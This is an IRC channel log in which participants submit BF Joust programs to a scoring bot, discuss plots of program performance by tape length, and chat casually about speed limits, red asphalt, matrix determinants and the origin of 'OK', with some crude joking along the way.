06:51:15 -!- Lymia__ has quit (Ping timeout: 240 seconds).
06:51:44 <quintopia> :\
06:52:20 <quintopia> !bfjoust chilling (++--++-)*-1
07:02:40 <EgoBot> Score for quintopia_chilling: 4.8
07:25:35 -!- cal153 has joined.
07:33:42 -!- Mathnerd314 has quit (Ping timeout: 250 seconds).
07:35:30 -!- zzo38 has quit (Remote host closed the connection).
07:40:50 -!- pikhq_ has joined.
07:41:32 -!- pikhq has quit (Ping timeout: 276 seconds).
07:45:33 -!- mtve has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:03 -!- Lymia__ has joined.
08:06:00 -!- Lymia_ has quit (Ping timeout: 240 seconds).
08:20:53 -!- Lymia_ has joined.
08:24:00 -!- Lymia__ has quit (Ping timeout: 240 seconds).
08:37:04 -!- kar8nga has joined.
08:55:02 -!- Lymia__ has joined.
08:57:59 -!- Lymia_ has quit (Ping timeout: 240 seconds).
09:03:33 -!- hiato has joined.
09:03:42 -!- hiato has changed nick to orcus.
09:03:49 -!- orcus has changed nick to hiato.
09:03:53 -!- hiato has quit (Client Quit).
09:10:51 -!- Lymia_ has joined.
09:13:58 -!- Lymia__ has quit (Ping timeout: 240 seconds).
09:14:37 -!- asiekierka has quit (Ping timeout: 250 seconds).
09:25:47 -!- Lymia__ has joined.
09:28:46 -!- Lymia_ has quit (Ping timeout: 240 seconds).
09:39:08 -!- MigoMipo has joined.
09:49:40 -!- asiekierka has joined.
10:17:57 -!- kar8nga has quit (Remote host closed the connection).
10:19:21 -!- variable has quit (Ping timeout: 264 seconds).
10:19:44 -!- variable has joined.
10:27:54 <sebbu2> pikhq_, it was probably 622MiB of debug symbol :p
10:33:16 -!- Lymia__ has quit (Read error: Connection reset by peer).
10:33:45 -!- Lymia__ has joined.
10:56:11 -!- pikhq has joined.
10:56:33 -!- pikhq_ has quit (Ping timeout: 272 seconds).
10:59:12 -!- kar8nga has joined.
11:08:41 -!- kar8nga has quit (Remote host closed the connection).
11:12:44 -!- asiekierka has quit (Ping timeout: 264 seconds).
11:21:54 -!- pingveno has quit (Ping timeout: 255 seconds).
11:23:49 -!- pingveno has joined.
11:25:28 -!- Lymia_ has joined.
11:28:42 -!- Lymia__ has quit (Ping timeout: 240 seconds).
11:33:35 -!- jix_ has quit (Quit: restarting).
11:33:54 -!- jix has joined.
11:34:07 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
11:36:11 -!- poiuy_qwert has joined.
11:36:12 -!- poiuy_qwert has quit (Changing host).
11:36:13 -!- poiuy_qwert has joined.
11:50:32 <Vorpal> hm mobile camera photos from inside a moving car end up quite bad.
11:53:42 -!- aloril has quit (Ping timeout: 240 seconds).
12:07:08 -!- aloril has joined.
12:09:50 -!- sebbu2 has changed nick to sebbu.
12:13:18 <Vorpal> fizzie, anyway, I decided to upload two of the images I mentioned above
12:13:30 <Vorpal> http://sporksirc.net/~anmaster/images/misc/snow1.jpg and http://sporksirc.net/~anmaster/images/misc/snow2.jpg
12:13:51 <Vorpal> fizzie, and that horrible jpeg compression is what my mobile phone give me on highest quality setting
12:15:42 <fizzie> You with your weird 110 km/h speed limits. (Highways here are generally 100 km/h during the winter, 120 km/h during the summer.)
12:16:24 <fizzie> And yes, the quality leaves something to be desired.
12:16:40 <Vorpal> fizzie, we recently (a year or two ago) got the new speeds 40, 60, 80, 100, 120
12:16:48 <Vorpal> fizzie, haven't seen any actual 120 sign yet
12:17:16 <Vorpal> before we only had the usual 30,50,70,90,110
12:17:36 <fizzie> 80 km/h is our default non-highway "standard out-of-the-city road" speed.
12:17:52 <fizzie> (I think.)
12:17:56 <Vorpal> fizzie, well that would be 70 or 90 here. But more recently it could be 80 as well
12:18:05 <Vorpal> depends on the conditions of the road of course
12:18:20 <Vorpal> fizzie, I believe it is generally 70 on smaller ones.
12:19:15 <fizzie> I don't think I've ever seen 90/110 here; there's 70 on some of the main "city highway" style roads, and 30 in some residential areas, and 50 (along with 40) is quite common in city streets.
12:19:16 <Vorpal> fizzie, also in the second the asphalt is really red tinted. Not sure why they use that on some parts.
12:19:50 <Vorpal> 40 is quite rare here, but since it was introduced quite recently I guess that is why
12:19:53 <fizzie> All the roads in Kökar (in Åland) are made of this weird really red asphalt.
12:20:09 <Vorpal> fizzie, how strange
12:20:46 <Vorpal> fizzie, on that section of that highway the on-ramps (but not the off-ones) are made of it. And the outer lane
12:20:51 <Vorpal> (it is two lane with a ditch in the middle there)
12:20:54 -!- asiekierka has joined.
12:21:09 <Vorpal> fizzie, I have no idea why they selected such a strange design
12:21:18 <fizzie> http://www.napsu.fi/files/images/K/10-07-22--20-56-23--K%C3%B6k%C3%A4r.jpg
12:21:22 -!- BeholdMyGlory has joined.
12:21:36 <fizzie> (Image courtesy of Google image search, not mine.)
12:22:04 <Vorpal> fizzie, either the colours are off in that or it is a different type of redish asphalt
12:22:13 -!- FireFly has joined.
12:22:14 <Vorpal> I'd say the one here is less muted
12:22:42 <Vorpal> fizzie, also it looks like it has larger grains than normal asphalt
12:24:06 <fizzie> Well, maybe. But the reddish color is quite noticeable. I even took a chunk of the asphalt with me home, but it doesn't really look as impressive when there's not a big pile of it. (And I have no clue where the chunk is now, anyway; this was in 1993 or so.)
12:24:32 <Vorpal> fizzie, googling suggests it is some sort of extra-durable asphalt that withstands studs better
12:24:45 <Vorpal> though so far I haven't any reputable source for this
12:27:39 <fizzie> "Red Asphalt is a series of instructional driver's education videos produced by the California Highway Patrol. The films are known for their graphic depictions of fatal car accidents. Horrendously injured and dismembered bodies are shown in the documentary, typically those of negligent drivers." Nnnoooo, that's not quite it.
12:30:13 <Vorpal> fizzie, further googling suggests the Swedish red roads contains a sort of stone called "porphyry". While those on Åland contains something called "rapakivi granite"
12:30:28 <Vorpal> still no sort of official sources for it
12:31:21 <fizzie> "Rapakivi is the material used in Åland's Middle Age stone churches." Well, presumably they then have a lot of it, and would use it for roads too.
12:31:48 <fizzie> Funny how they've taken the Finnish word into the name like that.
12:32:05 <Vorpal> fizzie, what Finnish word?
12:32:09 <Vorpal> the rap... bit?
12:41:33 -!- Wamanuz5 has joined.
12:42:53 -!- tswett_ has joined.
12:45:32 <fizzie> "rapakivi" == "crumbly rock".
12:45:37 <Vorpal> ah I see
12:46:10 -!- pikhq_ has joined.
12:46:14 -!- HackEgo has quit (Ping timeout: 246 seconds).
12:46:14 -!- tswett has quit (Ping timeout: 246 seconds).
12:46:15 -!- Wamanuz4 has quit (Read error: Connection reset by peer).
12:46:22 <fizzie> Or "mudstone", or something like that. ("Crumbly rock" is what the Wikipedia "rapakivi" article says.)
12:46:53 -!- pikhq has quit (Ping timeout: 276 seconds).
12:47:03 -!- HackEgo has joined.
12:47:07 <Vorpal> gn
12:54:01 -!- nddrylliog has joined.
13:02:52 -!- cheater00 has quit (Ping timeout: 240 seconds).
13:03:17 -!- cheater- has joined.
13:26:02 -!- pikhq has joined.
13:26:22 -!- pikhq_ has quit (Ping timeout: 260 seconds).
13:42:04 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:43:01 -!- poiuy_qwert has joined.
14:01:34 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
14:03:13 -!- poiuy_qwert has joined.
14:07:43 <fizzie> Today's random plot: http://zem.fi/~fis/tape19.png -- it's the average magnitude of the values left on the tape, averaged over all matches/configurations, from the viewpoint of the 7 best-performing programs.
14:10:21 <olsner> hmm, curious what "furry furry strapon pegging girls" means
14:10:32 <olsner> sounds like something that needs downloading of
14:21:33 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
14:23:12 -!- poiuy_qwert has joined.
14:24:30 -!- Mathnerd314 has joined.
14:29:08 -!- Lymia__ has joined.
14:32:13 -!- Lymia_ has quit (Ping timeout: 240 seconds).
14:42:02 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
14:42:58 -!- poiuy_qwert has joined.
14:43:39 <boysetsfrog> :\
14:51:43 -!- Lymia__ has quit (Read error: Connection reset by peer).
14:53:42 -!- Lymia has joined.
14:54:21 <Vorpal> olsner, hah
14:55:52 <Vorpal> fizzie, what about a 3D plot showing how it varies with tape length as well?
14:58:23 <nddrylliog> olsner: amen brother. leather discipline as well
15:01:23 <fizzie> Vorpal: Maybe. Here's a pcolor plot of all 41 competitors: http://zem.fi/~fis/tape19b.png
15:02:18 -!- augur has quit (Remote host closed the connection).
15:02:39 <fizzie> (X axis "100" is opponent's flag, forgot to set labels there.)
15:06:42 <Vorpal> fizzie, "pcolor"?
15:06:58 <fizzie> That's just the MATLAB/scipy term for it.
15:07:08 <Vorpal> fizzie, so how does one read that plot
15:07:10 <fizzie> Sorry, MATLAB/matplotlib.
15:07:40 <fizzie> You read it the same way as the previous plot, except the Y axis value is indicated by color.
15:08:04 <Vorpal> fizzie, so it says nothing about tape length?
15:08:44 <fizzie> Yes, it's again the same average-over-all.
15:09:08 <fizzie> Same plot as before, except with all programs on it, basically.
15:09:16 <Vorpal> fizzie, also what about negative values? How do you show a value that is between 0 and -127 at best
15:09:24 <Vorpal> -128*
15:09:46 <Vorpal> fizzie, surely the signed magnitude is more interesting here.
15:09:53 <fizzie> The numbers are absolute differences from zero.
15:10:00 <Vorpal> fizzie, ah
15:10:09 <fizzie> And no, I don't think it is: averaged over positive/negative polarities, it's probably going to be rather zeroish.
15:10:16 <fizzie> Maybe not quite, but still.
15:10:21 <Vorpal> I didn't mean that
15:10:24 <Vorpal> hm
15:10:26 <Vorpal> or wait
15:10:55 <Vorpal> fizzie, signed magnitude as opposed to unsigned magnitude
15:11:09 <Vorpal> fizzie, think abs() on a char vs. casting to an unsigned char
15:11:24 <fizzie> It is abs() on a char, yes.
15:11:28 <Vorpal> right
15:12:53 <Vorpal> fizzie, did you do that author-variance/similarity thing I suggested btw?
15:14:23 <fizzie> No, it's still on the list. There's a bit few programs per author for that, though.
15:14:34 <Vorpal> fizzie, hm true
15:14:51 <fizzie> At least on the hill at one time.
15:14:52 <Vorpal> fizzie, what about looking back over historical programs that are no longer on the hill as well?
15:15:03 <Vorpal> fizzie, he keeps the whole thing in hg after all
15:15:03 <fizzie> That could work.
15:15:06 <fizzie> Yes.
15:15:11 <Vorpal> !bfjoust
15:15:17 <Vorpal> well.
15:15:18 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
15:15:22 <Vorpal> ah
15:19:45 <fizzie> http://zem.fi/~fis/tape19c.png -- there's the same thing for FFSPG shown as a function of tape length.
15:20:22 <fizzie> Based on that, FFSPG doesn't seem to be doing so well for the shortest tapes.
15:21:03 <fizzie> Perhaps I should do full dpoints-style score tables for each tape length separately, or in some other way show the per-tape-length scores.
15:22:02 <fizzie> http://zem.fi/~fis/tape19c2.png if you want to compare to allegro.
15:25:07 <fizzie> (Incidentally, those plots stretch all tapes to 100 cells with linear interpolation for the averaging, which is probably why they have nice slides instead of sudden jumps.)
15:33:28 <Vorpal> back
15:33:32 <Vorpal> fizzie, nice graphs
15:34:56 -!- Lymia_ has joined.
15:34:57 <Vorpal> fizzie, but yes doing it so they have jumps rather than semi-continuous gradients would be better
15:35:29 <fizzie> The averaged-over-all-lengths plots are going to have (noisy) gradients anyway because the tape borders hit other locations.
15:35:47 <fizzie> http://zem.fi/~fis/tape19cn.png has the per-tape-length graph with 'nearest'-style interpolation instead of 'linear', though.
15:35:47 <Vorpal> fizzie, well right, I meant for the per-tape-length ones
15:36:19 <Vorpal> fizzie, you said you used matlab for these? Not octave?
15:36:46 <fizzie> No, Python + numpy + scipy + matplotlib.
15:36:59 <fizzie> The latter just is very MATLAB-inspired when it comes to names.
15:37:04 <Vorpal> http://zem.fi/~fis/tape19cn.png <-- is that FFSPG or allegro?
15:37:22 <Vorpal> fizzie, ah
15:37:47 -!- Lymia has quit (Ping timeout: 240 seconds).
15:40:15 <fizzie> Hee, the per-tape-length plot is nice. I'll try to get labels on it and put it somewhere.
15:42:11 <Vorpal> fizzie, something else that might be fun: average length and variance in the length (in "turns" or whatever) of the battles that a given plays. Possibly sorted into win/lose/tie groups
15:43:09 <fizzie> I have average lengths already somewhere per each program-pair.
15:43:19 <fizzie> http://zem.fi/~fis/cycles15.png
15:43:32 <Vorpal> wait, what is the scale here
15:43:36 <fizzie> The color-bar labels are in units of 10^x cycles; that's why it tops up at 5.
15:43:41 <fizzie> (10^5 eg. 100k cycles.)
15:43:43 <Vorpal> ag
15:43:45 <Vorpal> ah*
15:44:01 <fizzie> I couldn't figure out how to do a proper logscale-in-the-color-axis plot so that it'd do the labels right. :p
15:44:14 <fizzie> You can see how definder2 makes all the matches long.
15:44:40 <Vorpal> fizzie, would still be nice to see how long the battles against itself are. Sure they will all be ties but it would help detect defenders/rushers
15:45:16 <fizzie> Perhaps I should play those games too; I currently don't.
15:45:28 <Vorpal> fizzie, what?
15:45:37 <Vorpal> ah
15:45:41 <Vorpal> games = battles
15:45:41 <Vorpal> XD
15:45:49 <fizzie> Yes, that was confusingly put.
15:46:09 <Vorpal> fizzie, my first reaction was "wait, is my ignore list not empty?"
15:46:27 <Vorpal> fizzie, anyway I would say that quintopia's good_vibrations forces even longer battles than definder2
15:46:32 <fizzie> http://zem.fi/~fis/tlpoints19.png -- scores (well, points actually) as a function of tape length.
15:46:50 -!- boysetsfrog has quit (Quit: Lost terminal).
15:46:54 -!- oerjan has joined.
15:47:00 <fizzie> Gregor_return_of_ehird_defend8mwahahaha manages to behave rather differently on even/odd tapes.
15:47:16 <fizzie> And FFSPG indeed is quite a loser on tape length 10.
15:47:25 <Vorpal> fizzie, I wonder why
15:48:03 <Vorpal> fizzie, defend_9_75 is ... strange
15:48:09 <fizzie> Some others, too; like myndzi_3pass which (based on how bridght that blue is) loses about everything on tape 10.
15:48:10 <Vorpal> it is only good at length 10
15:48:54 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
15:49:13 <fizzie> I should probably at some point collect all the plots (and generate the per-program plots for everyone) into one web page, and then make some sort of a script that updates them all.
15:49:25 <fizzie> Now I think I'll need to go craft some food though.
15:49:41 <Vorpal> fizzie, "craft"... oh my
15:49:51 <Vorpal> fizzie, I think you need to take a break from mc :P
15:50:22 <fizzie> I probably haven't started MC in a week or so, I just remembered I used to use that verb. :p
15:50:30 <Vorpal> fizzie, okay then
15:56:31 -!- augur has joined.
15:58:28 -!- azaq23 has joined.
16:03:46 -!- cheater- has quit (Ping timeout: 240 seconds).
16:04:15 -!- Mathnerd314 has quit (Ping timeout: 276 seconds).
16:05:29 <oerjan> heh so did everyone turn completely from minecraft to bfjoust now
16:05:51 -!- cheater- has joined.
16:06:13 <nddrylliog> oerjan: if only
16:09:37 <fizzie> oerjan: I wonder how Gregor's infrastructure would handle 1336282 bfjousters.
16:19:44 -!- copumpkin has joined.
16:19:44 -!- copumpkin has quit (Changing host).
16:19:44 -!- copumpkin has joined.
16:22:50 -!- hiato has joined.
16:23:22 -!- hiato has changed nick to orcus_nine.
16:26:39 <nddrylliog> I remember the time mc used to mean midnight commander...
16:34:28 <oerjan> fizzie: i _did_ mean everyone on this channel :)
16:34:41 <oerjan> (well who were playing mc in the first place)
16:36:19 -!- pikhq_ has joined.
16:36:52 -!- pikhq has quit (Ping timeout: 276 seconds).
16:49:54 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
17:01:48 -!- Lymia__ has joined.
17:04:56 -!- Lymia_ has quit (Ping timeout: 240 seconds).
17:09:44 <Gregor> fizzie: Poorly.
17:10:10 -!- ais523 has joined.
17:11:26 <fizzie> Gregor: Is it a conscious decision that FFSPG does badly on short tapes?
17:11:47 <fizzie> ais523: Latest silly plot: scores as a function of tape length: http://zem.fi/~fis/tlpoints19.png
17:12:20 <Gregor> fizzie: Yes and no. There's nothing I can do about it for its strategy, on short tapes it's likely that they won't change any of my breadcrumbs, so I'll just futz around creating big decoys while they take my flag.
17:14:07 <ais523> Gregor: on defend9.75, I special-cased a decoy of value more than 1 at tape position 10 as indicating a short tape
17:14:11 <ais523> in order to avoid its short-tape weakness
17:14:35 <Gregor> Hm, I wonder if that would help FFSPG...
17:15:11 <ais523> I'm not sure if it helped defend9.75, it seems quite close
17:15:41 <fizzie> ais523: At least it's visible on that plot that defend9_75 does impressively well on tape 10.
17:16:49 <ais523> yep, but it's by sacrificing performance on 14 or 15 or whatever depending on the opponent, against many opponents
17:17:02 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/LcVY
17:17:13 <Gregor> I honestly don't think this'll do better :P
17:20:05 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 63.9
17:20:17 <Gregor> Well well.
17:20:19 <Gregor> I can take that.
17:24:56 <fizzie> http://zem.fi/~fis/tlpoints19.png → http://zem.fi/~fis/tlpoints19b.png -- didn't seem to affect average scores on other lengths very much.
17:27:51 <ais523> I think I shouldn't have released defend9.75 as early as I did, people are testing against it now
17:33:04 <fizzie> Heh, wow: I did a "pcolor" plot (just a single quad colored based on each cell of the matrix) of a 82x861 matrix, and got "numpy.linalg.linalg.LinAlgError: Singular matrix" back.
17:33:45 -!- augur has quit (Ping timeout: 240 seconds).
17:36:12 <fizzie> Oh, it was just integer-arithmetics of the figure size, tried to do a 0-height image. Aw.
17:37:03 <Vorpal> fizzie, what a strange error for that :P
17:38:21 <fizzie> There was a stack trace with the words "inverted" and "transforms" and so on in it; I guess it was inverting the plot-to-image coordinate transformation for some purpose.
17:39:32 -!- Lymia_ has joined.
17:42:31 -!- Lymia__ has quit (Ping timeout: 240 seconds).
17:52:08 -!- augur has joined.
18:03:44 <ais523> are 0x0 matrices singular?
18:03:56 <ais523> it's a philosophical question, really, as I can't even figure out what it would mean to invert them
18:04:05 <ais523> arguably, all 0x0 matrices are the identity
18:08:14 <fizzie> If they all are the identity, then I'd think they're all nonsingular.
18:08:32 <fizzie> Octave seems to think that det(A) = 1 for a 0x0 A:
18:08:33 <fizzie> octave:1> zeros(0)
18:08:33 <fizzie> ans = [](0x0)
18:08:33 <fizzie> octave:2> det(zeros(0))
18:08:33 <fizzie> ans = 1
18:13:06 -!- Lymia__ has joined.
18:13:31 -!- Phantom_Hoover has joined.
18:13:56 <Phantom_Hoover> Dammit, where's elliott.
18:14:04 <Phantom_Hoover> I had TERRIBLE NEWS to relay to him.
18:14:16 <nddrylliog> Phantom_Hoover: behind you!
18:14:17 * nddrylliog hides.
18:14:25 <Phantom_Hoover> AHA
18:14:34 <Phantom_Hoover> I KNEW NDDRYLLIOG WAS REALLY ELLIOTT
18:14:48 <oerjan> ais523: sounds a bit like the http://en.wikipedia.org/wiki/Field_with_one_element
18:14:58 <nddrylliog> Phantom_Hoover: it's almost an anagram, too
18:15:23 <Phantom_Hoover> CUNNING
18:15:50 <oerjan> it's a little known fact that welsh "ndrry" is pronounced like english "e"
18:16:06 -!- Lymia_ has quit (Ping timeout: 240 seconds).
18:16:17 <Phantom_Hoover> oerjan, please tell me that's an elaborate mathematical joke.
18:16:48 <oerjan> Phantom_Hoover: the field of one element? it may have started as a joke someone took too seriously?
18:17:13 <Phantom_Hoover> oerjan, it was invented by a man called Tits.
18:17:49 <oerjan> generalizing so previously impossible objects get a representation is a mathematical tradition, see http://en.wikipedia.org/wiki/Generalized_function
18:17:57 -!- elliott has joined.
18:18:01 <nddrylliog> ah there he is!
18:18:04 <oerjan> (iiuc it's very useful, too)
18:18:07 <Phantom_Hoover> elliott, I HAVE TERRIBLE NEWS TO RELAY
18:18:14 <elliott> ?
18:18:34 <Phantom_Hoover> APT Guy has a conditional offer to do CS at university if he gets a C in maths.
18:18:44 <Phantom_Hoover> Guess the university?
18:18:53 <elliott> GLASGOW?
18:18:59 <Phantom_Hoover> Strathclyde.
18:19:05 <elliott> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
18:19:06 <oerjan> ->
18:19:09 <elliott> Epigram is not safe!
18:19:14 <nddrylliog> Epigram?
18:19:16 * nddrylliog wakes up
18:19:18 <elliott> We must transport it to a SAFE LOCATION.
18:19:28 <elliott> nddrylliog: Conor McBride's language^WEPIC TROLL.
18:19:34 <Phantom_Hoover> HOWEVER, there is an UPSIDE!
18:19:46 <elliott> (OK, Epigram 1 is Conor's language, Epigram 2 is his 6-years-and-counting epic troll.)
18:19:53 <elliott> Phantom_Hoover: HOW CAN THAT POSSIBLY BE SO.
18:20:00 <Phantom_Hoover> My previous crazy plan to force McBride to get a move on is no longer necessary!
18:20:15 <Phantom_Hoover> I can just tell APT Guy to seek him out and kidnap him.
18:20:38 <elliott> 20:50:19 <Gregor> OMG, if I bought sarsaparilla extract and gentian root extract ...
18:20:38 <elliott> 20:51:37 <Gregor> Sassafras extract is too expensive, I wonder how vital it is ...
18:20:38 <elliott> 20:52:25 <Gregor> Sassafras is like $10/oz >_>
18:20:40 <elliott> Gregor: rly?
18:20:48 <elliott> i think it might be cheaper here?
18:20:50 <elliott> Phantom_Hoover: IS THAT WISE
18:21:11 <Phantom_Hoover> elliott, OBVIOUSLY YES
18:21:35 <Gregor> elliott: Upon further examination, more like $9/oz
18:22:01 <elliott> Gregor: Buy it, sassafras is both DELICIOUS and EASY TO RHYME WITH.
18:22:29 <elliott> 21:14:12 <zzo38> Is $Q_0$ a standard notation for the minimum?
18:22:29 <elliott> 21:14:31 <quintopia> yeah probably
18:22:36 <Gregor> But still, sarsaparilla is like $4/oz and gentian (in spite of being far less used) is like $3/oz
18:22:39 <elliott> quintopia: like the part where you just start giving random answers
18:22:45 <elliott> Gregor: Observe:
18:22:53 <elliott> Gregor: Sassafras / Kiss my ass / Blah blah blah / Sassafras
18:23:24 <elliott> 21:16:36 <quintopia> but the best word america invented was "O.K."
18:23:25 <elliott> 21:16:42 <quintopia> EVERYONE uses it now
18:23:25 <elliott> O KAYYYYY
18:24:05 <elliott> 21:19:23 <zzo38> I just say "the ceiling" or "the sky" when asked what's uyp.
18:24:05 <elliott> NOBODY HAS EVER THOUGHT OF THAT BEFORE
18:24:35 <elliott> 21:20:49 <zzo38> Most people I have seen who type messages in their computer never begin with "Dear" or end with "Sincerely".
18:24:35 <elliott> Proof of society's decline
18:25:03 <elliott> 21:25:30 <Gregor> What is the "correct" spelling of "couldn't've"?
18:25:08 <elliott> Gregor: Couldn't have, surely.
18:25:15 <elliott> But I prefer the idea of arbitrarily stacking apostrophe suffixes.
18:25:16 <nddrylliog> whether OK is of american origin is disputed
18:25:21 <elliott> So keep with couldn't've.
18:25:41 <elliott> nddrylliog: it's that oll korrect story isn't it?
18:25:52 <nddrylliog> elliott: nope, that "au quai" story
18:25:55 <nddrylliog> but yeah that too
18:26:14 <elliott> The chief strength of this etymology is its clear written record. A problem with this etymology is the implication that common usage was driven by the written appearance of a geographically and socially isolated slang term that was alien to the rest of the country. While appearing in written form often spreads and expands the usage of colloquial terms, it is rare for a single instance of written speech to make a term colloquial. The relatively sl
18:26:15 <elliott> ow take-up of the term by other English-speaking countries illustrates this pattern.
18:26:29 <elliott> nddrylliog: au quai isn't even on Wikipedia, I SEE NO WAY IT COULD BE TRUE THEREFORE.
18:26:57 <nddrylliog> it is http://fr.wikipedia.org/wiki/OK_(expression)
18:27:09 <nddrylliog> but right it's in the "popular etymologies"
18:27:13 <nddrylliog> apparently the dispute has been resolved
18:27:17 <elliott> "fr."
18:27:18 <nddrylliog> damn etymologists, they're poor trolls
18:27:24 <elliott> Like I'd trust the French for factual information.
18:27:38 <Gregor> Friggin' frogs.
18:27:46 <nddrylliog> says the country with the most creationists
18:27:46 -!- elliott has quit (Read error: Connection reset by peer).
18:27:48 <nddrylliog> OH SNAP.
18:27:53 <Gregor> ...'
18:27:54 <Gregor> :(
18:28:09 -!- elliott has joined.
18:28:12 <nddrylliog> Gregor: btw, great taste in bfjoust contestants names
18:28:43 <elliott> 21:31:33 <zzo38> pikhq: Most people use credit cards though, I think. I have received credit card applications and I just discard them. I almost always pay in cash and accept payments in cash. I sometimes (but rarely) use a cheque.
18:28:43 * elliott wonders wtf zzo38 could possibly be accepting payment for.
18:28:55 <elliott> i wish the other logreaders were here so i didn't seem like so much of a spammer :D
18:28:59 <Gregor> nddrylliog: Why thank you :P
18:29:29 <elliott> 21:37:16 <quintopia> i want them to use when "legal tender" becomes a nonsense term
18:29:37 <elliott> Hurf durf civilisation's collapse is imminent better get a lot of gold
18:30:04 <nddrylliog> meh, what is gold good for in case of civilisation collapse?
18:30:12 <elliott> Absolutely fuck all.
18:30:32 <pikhq_> nddrylliog: Slightly more value than green pieces of paper.
18:30:35 <elliott> I think quintopia might be vastly underestimating the timespan between "civilisation collapses" and "you can buy things".
18:30:37 <Phantom_Hoover> elliott, untrue!
18:30:42 <Phantom_Hoover> It's very dense!
18:30:47 <Phantom_Hoover> And unreactive!
18:30:48 <nddrylliog> it's absolutely beyond comprehension why Grooveshark didn't see coming Chrome plugins for hiding their ads, with their fancy HTML5 frontend and whatnot
18:31:02 <nddrylliog> pikhq_: in case of real collapse, I'd be looking for a food source, not for shiny metal :)
18:31:18 <Gregor> Gold has slightly less utility than dirt, but dirt isn't usable as currency while still maintaining that utility, so gold might win out.
18:31:18 <elliott> have chrome plugins supplanted greasemonkey or something. i find that quite sad.
18:31:24 <pikhq_> nddrylliog: I did *tell* him that I'd be stocking up on canned goods if I expected civilisation to collapse.
18:31:26 <nddrylliog> elliott: it seems so
18:31:36 <elliott> Gregor: Yes, but if civilisation's just collapsed, currency is useless :P
18:31:49 <elliott> Gregor: Unless you think people's first thoughts are going to be "Ooh, I'm going to set up a SHOP."
18:31:58 <nddrylliog> pikhq_: well then we're apocalypse strategies buddies
18:32:10 <Phantom_Hoover> FFS! Gold has innate utility!
18:32:10 <nddrylliog> elliott: well that would be a HELL of an opportunity
18:32:23 <nddrylliog> elliott: not sure what you'll be doing with all that gold, though, except if there were other shops.
18:32:35 <Phantom_Hoover> It's great for bludgeoning!
18:32:37 <pikhq_> nddrylliog: In anarchy, you're quite liable to just get gunned down.
18:32:38 <nddrylliog> future-past-tense for the wobble.
18:32:42 <pikhq_> Phantom_Hoover: So're rocks.
18:32:44 <elliott> pikhq_: *chaos,
18:32:50 <pikhq_> Phantom_Hoover: And you can find those on the ground.
18:32:50 <nddrylliog> pikhq_: why me? :(
18:33:02 <pikhq_> nddrylliog: Not you *in particular*.
18:33:05 <nddrylliog> :D
18:33:14 <nddrylliog> I know see why whiny bitches get along in life
18:33:15 <pikhq_> Anyone with a shop would.
18:33:22 <nddrylliog> pikhq_: yes, yes, I was messing around :)
18:33:42 * pikhq_ should get coffee.
18:33:47 <pikhq_> And perhaps food.
18:33:48 <Phantom_Hoover> pikhq_, just because there's a much more common but slightly-worse substitute doesn't mean it's useless.
18:34:02 <pikhq_> Phantom_Hoover: True.
18:34:17 <pikhq_> Phantom_Hoover: Does mean that it's not worth thousands of dollars to obtain, though.
18:34:35 <nddrylliog> back to legal tender, that expression really makes me daydream. Like, there'd be black-market tender. Out-of-town hug shops where people exchange tenderness you've NEVER SEEN BEFORE.
18:34:35 <Phantom_Hoover> True indeed.
18:35:03 <elliott> nddrylliog: :D
18:35:14 <elliott> `addquote <nddrylliog> back to legal tender, that expression really makes me daydream. Like, there'd be black-market tender. Out-of-town hug shops where people exchange tenderness you've NEVER SEEN BEFORE.
18:35:30 <nddrylliog> oh joy \o/ another quote. I can go back to work now
18:35:30 <myndzi> |
18:35:30 <myndzi> |\
18:35:38 <nddrylliog> aaaaaaaah someone fix myndzi already.
18:35:58 <HackEgo> 315) <nddrylliog> back to legal tender, that expression really makes me daydream. Like, there'd be black-market tender. Out-of-town hug shops where people exchange tenderness you've NEVER SEEN BEFORE.
18:36:04 <Phantom_Hoover> Sgeo_, I HAVE BAD NEWS MY FRIEND
18:36:12 <elliott> nddrylliog: "fix"?
18:36:13 <nddrylliog> Phantom_Hoover: again?9?
18:36:16 <elliott> ARE YOU SUGGESTING HE IS BROKEN?
18:36:19 <Sgeo_> Phantom_Hoover, what?
18:36:25 <nddrylliog> elliott: he?
18:36:42 <elliott> nddrylliog: well unless the script also plays bf joust.
18:36:43 <Phantom_Hoover> Sgeo_, YOUR DAYS WITH KT-AT ARE LIMITED BY CAUSALITY
18:36:45 <elliott> definitely a person.
18:36:49 <elliott> i suppose femaleness is not out of the question.
18:37:00 <elliott> 21:39:42 <quintopia> food, guns, ammo, fuel
18:37:00 <elliott> 21:40:15 <quintopia> (i expect if this comes to pass, looters will be quite a problem. being armed is essential.)
18:37:00 <elliott> :LIBERTARIAN NUTJOB FANTASY:
18:37:02 <Phantom_Hoover> I HAVE INDISPUTABLE EVIDENCE THAT SHE GOES BACK IN TIME AND BECOMES A BBC WAR CORRESPONDENT.
18:37:04 <Sgeo_> Yay! Someone else got confused for a bot!
18:37:35 <nddrylliog> \o/
18:37:35 <myndzi> |
18:37:36 <myndzi> |\
18:37:37 <nddrylliog> \o/
18:37:37 <myndzi> |
18:37:38 <myndzi> /|
18:37:38 <nddrylliog> \o/
18:37:46 <nddrylliog> hum.
18:37:48 <Phantom_Hoover> Sgeo_, http://en.wikipedia.org/wiki/Kate_Adie
18:37:56 <nddrylliog> hum.
18:37:58 <nddrylliog> o/
18:38:00 <nddrylliog> \o
18:38:03 <nddrylliog> bahh.
18:38:29 -!- iconmaster[1] has joined.
18:38:31 <Sgeo_> mom
18:38:36 <Sgeo_> m-m
18:38:40 -!- iconmaster[1] has quit (Client Quit).
18:38:41 <Sgeo_> wow
18:38:45 <Sgeo_> Grah
18:38:50 <Sgeo_> m m
18:38:55 -!- iconmaster has joined.
18:39:16 <elliott> nddrylliog: :D
18:39:17 <elliott> ,o|
18:39:20 <elliott> :|
18:39:21 <elliott> that used to work
18:39:22 <elliott> ,o,
18:39:24 <Sgeo_> \o/ \o/
